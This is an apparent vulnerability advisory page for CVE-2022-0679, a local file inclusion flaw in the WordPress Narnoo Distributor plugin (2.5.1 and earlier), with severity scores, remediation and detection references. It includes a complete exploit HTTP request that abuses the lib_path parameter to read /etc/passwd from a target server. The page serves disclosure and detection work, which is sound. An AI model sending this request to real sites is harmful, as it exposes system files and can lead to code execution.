🔙 목록으로 돌아가기

CVE-2022-0679: WordPress Narnoo Distributor <=2.5.1 - Local File Inclusion

TitleWordPress Narnoo Distributor <=2.5.1 - Local File Inclusion
AuthorVeshraj
SeverityCritical
ImpactThe vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing for further exploitation.
RemediationUpdate to the latest version of the WordPress Narnoo Distributor plugin (>=2.5.2) to mitigate the LFI vulnerability.
CVSS Score9.8
EPSS Score0.84482
CVE IDCVE-2022-0679
CWE IDCWE-22
Tags cve cve2022 narnoo-distributor wordpress wp-plugin wpscan wp rce unauth lfi narnoo_distributor_project vkev vuln

🔍 Vulnerability Description

WordPress Narnoo Distributor plugin 2.5.1 and prior is susceptible to local file inclusion. The plugin does not validate and sanitize the lib_path parameter before being passed into a call to require() via the narnoo_distributor_lib_request AJAX action, and the content of the file is displayed in the response as JSON data. This can also lead to a remote code execution vulnerability depending on system and configuration.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 58
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

action=narnoo_distributor_lib_request&lib_path=/etc/passwd

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0679.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0679.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A